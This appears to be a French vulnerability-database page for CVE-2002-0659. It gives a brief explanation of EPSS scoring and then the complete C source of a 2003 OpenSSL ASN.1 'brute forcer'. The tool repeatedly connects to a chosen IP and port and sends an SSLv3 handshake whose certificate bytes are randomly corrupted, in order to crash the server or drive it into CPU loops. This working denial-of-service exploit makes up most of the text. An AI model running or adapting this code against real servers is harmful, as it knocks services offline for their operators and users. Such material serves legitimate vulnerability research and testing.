CVE-2002-0659 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/8732/info Multiple vulnerabilities were reported in the ASN.1 parsing code in OpenSSL. Attackers could exploit these issues to cause a denial of service or to execute arbitrary code. /* Brute forcer for OpenSSL ASN.1 parsing bugs (<=0.9.6j <=0.9.7b) * written by Bram Matthys (Syzop) on Oct 9 2003. * * This program sends corrupt client certificates to the SSL * server which will 1) crash it 2) create lots of error messages, * and/or 3) result in other "interresting" behavior. * * I was able to crash my own ssl app in 5-15 attempts, * apache-ssl only generated error messages but after several hours * some childs went into some kind of eat-all-cpu-loop... so YMMV. * * It's quite ugly but seems to compile at Linux/FreeBSD. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <ctype.h> #include <string.h> #include <sys/signal.h> #include <arpa/nameser.h> #include <sys/time.h> #include <time.h> #include <errno.h> char buf[8192]; /* This was simply sniffed from an stunnel session */ const char dacrap[] = "\x16\x03\x00\x02\x47\x0b\x00\x02\x43\x00\x02\x40\x00\x02\x3d\x30\x82" "\x02\x39\x30\x82\x01\xa2\xa0\x03\x02\x01\x02\x02\x01\x00\x30\x0d\x06" "\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00\x30\x57\x31\x0b\x30" "\x09\x06\x03\x55\x04\x06\x13\x02\x50\x4c\x31\x13\x30\x11\x06\x03\x55" "\x04\x08\x13\x0a\x53\x6f\x6d\x65\x2d\x53\x74\x61\x74\x65\x31\x1f\x30" "\x1d\x06\x03\x55\x04\x0a\x13\x16\x53\x74\x75\x6e\x6e\x65\x6c\x20\x44" "\x65\x76\x65\x6c\x6f\x70\x65\x72\x73\x20\x4c\x74\x64\x31\x12\x30\x10" "\x06\x03\x55\x04\x03\x13\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x30" "\x1e\x17\x0d\x30\x33\x30\x36\x31\x32\x32\x33\x35\x30\x34\x39\x5a\x17" "\x0d\x30\x34\x30\x36\x31\x31\x32\x33\x35\x30\x34\x39\x5a\x30\x57\x31" "\x0b\x30\x09\x06\x03\x55\x04\x06\x13\x02\x50\x4c\x31\x13\x30\x11\x06" "\x03\x55\x04\x08\x13\x0a\x53\x6f\x6d\x65\x2d\x53\x74\x61\x74\x65\x31" "\x1f\x30\x1d\x06\x03\x55\x04\x0a\x13\x16\x53\x74\x75\x6e\x6e\x65\x6c" "\x20\x44\x65\x76\x65\x6c\x6f\x70\x65\x72\x73\x20\x4c\x74\x64\x31\x12" "\x30\x10\x06\x03\x55\x04\x03\x13\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73" "\x74\x30\x81\x9f\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01" "\x05\x00\x03\x81\x8d\x00\x30\x81\x89\x02\x81\x81\x00\xe6\x95\x5c\xc0" "\xcb\x03\x78\xf1\x1e\xaa\x45\xb7\xa4\x10\xd0\xc1\xd5\xc3\x8c\xcc\xca" "\x17\x7b\x48\x9a\x21\xf2\xfa\xc3\x25\x07\x0b\xb7\x69\x17\xca\x59\xf7" "\xdf\x67\x7b\xf1\x72\xd5\x05\x61\x73\xe8\x70\xbf\xb9\xfa\xc8\x4b\x03" "\x41\x62\x71\xf9\xf5\x4e\x28\xb8\x3b\xe4\x33\x76\x47\xcc\x1e\x04\x71" "\xda\xc4\x0b\x05\x46\xf4\x52\x72\x99\x43\x36\xf7\x37\x6d\x04\x1c\x7a" "\xde\x2a\x0c\x45\x4a\xb6\x48\x33\x3a\xad\xec\x16\xcc\xe7\x99\x58\xfd" "\xef\x4c\xc6\xdd\x39\x76\xb6\x50\x76\x2a\x7d\xa0\x20\xee\xb4\x2c\xe0" "\xd2\xc9\xa1\x2e\x31\x02\x03\x01\x00\x01\xa3\x15\x30\x13\x30\x11\x06" "\x09\x60\x86\x48\x01\x86\xf8\x42\x01\x01\x04\x04\x03\x02\x06\x40\x30" "\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00\x03\x81\x81" "\x00\x9f\xff\xa9\x93\x70\xb9\xae\x48\x47\x09\xa1\x11\xbf\x01\x34\xbf" "\x1f\x1e\xed\x88\x3e\x57\xe0\x37\x72\x0d\xec\xc7\x21\x44\x12\x99\x3a" "\xfa\xaf\x79\x57\xf4\x7f\x99\x68\x37\xb1\x17\x83\xd3\x51\x44\xbd\x50" "\x67\xf8\xd6\xd0\x93\x00\xbb\x53\x3d\xe2\x3d\x34\xfc\xed\x60\x85\xea" "\x67\x7f\x91\xec\xfa\xe3\xd8\x78\xa2\xf4\x61\xfa\x77\xa3\x3f\xe4\xb1" "\x41\x95\x47\x23\x03\x1c\xbf\x2e\x40\x77\x82\xef\xa0\x17\x82\x85\x03" "\x90\x35\x4e\x85\x0d\x0f\x4d\xea\x16\xf5\xce\x15\x21\x10\xf9\x56\xd0" "\xa9\x08\xe5\xf9\x9d\x5c\x43\x75\x33\xe2\x16\x03\x00\x00\x84\x10\x00" "\x00\x80\x6e\xe4\x26\x03\x97\xb4\x5d\x58\x70\x36\x98\x31\x62\xd4\xef" "\x7b\x4e\x53\x99\xad\x72\x27\xaf\x05\xd4\xc9\x89\xca\x04\xf1\x24\xa4" "\xa3\x82\xb5\x89\x3a\x2e\x8f\x3f\xf3\xe1\x7e\x52\x11\xb2\xf2\x29\x95" "\xe0\xb0\xe9\x3f\x29\xaf\xc1\xcd\x77\x54\x6a\xeb\xf6\x81\x6b\xd5\xd6" "\x0a\x3d\xc3\xff\x6f\x76\x4a\xf7\xc9\x61\x9f\x7b\xb3\x25\xe0\x2b\x09" "\x53\xcf\x06\x1c\x82\x9c\x48\x37\xfa\x71\x27\x97\xec\xae\x6f\x4f\x75" "\xb1\xa5\x84\x99\xf5\xed\x8c\xba\x0f\xd5\x33\x31\x61\x5d\x95\x77\x65" "\x8d\x89\x0c\x7d\xa7\xa8\x95\x5a\xc7\xb8\x35\x16\x03\x00\x00\x86\x0f" "\x00\x00\x82\x00\x80\x78\x1d\xbd\x86\xcb\x6e\x06\x88\x57\x9e\x3d\x21" "\x7e\xca\xd1\x75\xff\x33\xef\x48\x4d\x88\x96\x84\x8c\x2f\xfb\x92\x1d" "\x15\x28\xef\xe0\xd3\x4d\x20\xe9\xae\x6c\x5c\xed\x46\xc0\xef\x4e\xb4" "\xe4\xcf\xe9\x73\xb8\xd2\x8b\xe6\x5e\xb9\x0c\x67\xbe\x17\x13\x31\x3f" "\xe5\xe1\x9a\x2d\xfe\xb4\xd6\xdb\x8f\xbc\x15\x22\x10\x65\xe1\xad\x5f" "\x00\xd0\x48\x8d\x4e\xa7\x08\xbd\x5c\x40\x77\xb8\xa9\xbe\x58\xb0\x15" "\xd2\x4c\xc8\xa1\x79\x63\x25\xeb\xa1\x32\x61\x3b\x49\x82\xf1\x3a\x70" "\x80\xf8\xdc\xf7\xf9\xfc\x50\xc7\xa2\x5d\xe4\x30\x8e\x09\x14\x03\x00" "\x00\x01\x01\x16\x03\x00\x00\x40\xfe\xc2\x1f\x94\x7e\xf3\x0b\xd1\xe1" "\x5c\x27\x34\x7f\x01\xe9\x51\xd3\x18\x33\x9a\x99\x48\x6e\x13\x6f\x82" "\xb2\x2c\xa5\x7b\x36\x5d\x85\xf5\x17\xe3\x4f\x2a\x04\x15\x2d\x0e\x2f" "\x2c\xf9\x1c\xf8\x9e\xac\xd5\x6c\x20\x81\xe5\x22\x54\xf1\xe1\xd0\xfd" "\x64\x42\xfb\x34"; #define CRAPLEN (sizeof(dacrap)-1) int send_hello() { int len; char *p = buf; *p++ = 22; /* Handshake */ PUTSHORT(0x0300, p); /* SSL v3 */ PUTSHORT(85, p); /* Length will be 85 bytes */ *p++ = 1; /* Client hello */ *p++ = 0; /* Length: */ PUTSHORT(81, p); /* 81 bytes */ PUTSHORT(0x0300, p); /* SSL v3 */ PUTLONG(0xffffffff, p); /* Random.gmt_unix_time */ /* Now 28 bytes of random data... (7x4bytes=28) */ PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); *p++ = 0; /* Session ID 0 */ PUTSHORT(42, p); /* Cipher Suites Length */ PUTSHORT(0x16, p); PUTSHORT(0x13, p); PUTSHORT(0x0a, p); PUTSHORT(0x66, p); PUTSHORT(0x07, p); PUTSHORT(0x05, p); PUTSHORT(0x04, p); PUTSHORT(0x65, p); PUTSHORT(0x64, p); PUTSHORT(0x63, p); PUTSHORT(0x62, p); PUTSHORT(0x61, p); PUTSHORT(0x60, p); PUTSHORT(0x15, p); PUTSHORT(0x12, p); PUTSHORT(0x09, p); PUTSHORT(0x14, p); PUTSHORT(0x11, p); PUTSHORT(0x08, p); PUTSHORT(0x06, p); PUTSHORT(0x03, p); *p++ = 1; /* Compresion method length: 1 */ *p++ = 0; /* (null) */ len = p - buf; return len; } int send_crap() { memcpy(buf, dacrap, CRAPLEN); return CRAPLEN; } void corruptor(char *buf, int len) { int cb, i, l; cb = rand()%15+1; /* bytes to corrupt */ for (i=0; i < cb; i++) { l = rand()%len; buf[l] = rand()%256; } } void diffit() { int i; printf("DIFF:\n"); for (i=0; i < CRAPLEN; i++) { if (buf[i] != dacrap[i]) printf("Offset %d: 0x%x -> 0x%x\n", i, dacrap[i], buf[i]); } printf("*****\n"); } int main(int argc, char *argv[]) { struct sockaddr_in addr; int s, port = 0, first = 1, len; char *host = NULL; unsigned int seed; struct timeval tv; printf("OpenSSL ASN.1 brute forcer (Syzop/2003)\n\n"); if (argc != 3) { fprintf(stderr, "Use: %s [ip] [port]\n", argv[0]); exit(1); } host = argv[1]; port = atoi(argv[2]); if ((port < 1) || (port > 65535)) { fprintf(stderr, "Port out of range (%d)\n", port); exit(1); } gettimeofday(&tv, NULL); seed = (getpid() ^ tv.tv_sec) + (tv.tv_usec * 1000); printf("seed = %u\n", seed); srand(seed); memset(&addr, 0, sizeof(addr)); signal(SIGPIPE, SIG_IGN); /* Ignore SIGPIPE */ while(1) { if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "Socket error: %s\n", strerror(errno)); exit(EXIT_FAILURE); } addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(host); if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) { fprintf(stderr, "Unable to connect: %s\n", strerror(errno)); if (!first) diffit(); exit(EXIT_FAILURE); } first = 0; printf("."); fflush(stdout); len = send_hello(); write(s, buf, len); len = send_crap(); corruptor(buf, len); write(s, buf, len); usleep(1000); /* wait.. */ close(s); } exit(EXIT_SUCCESS); }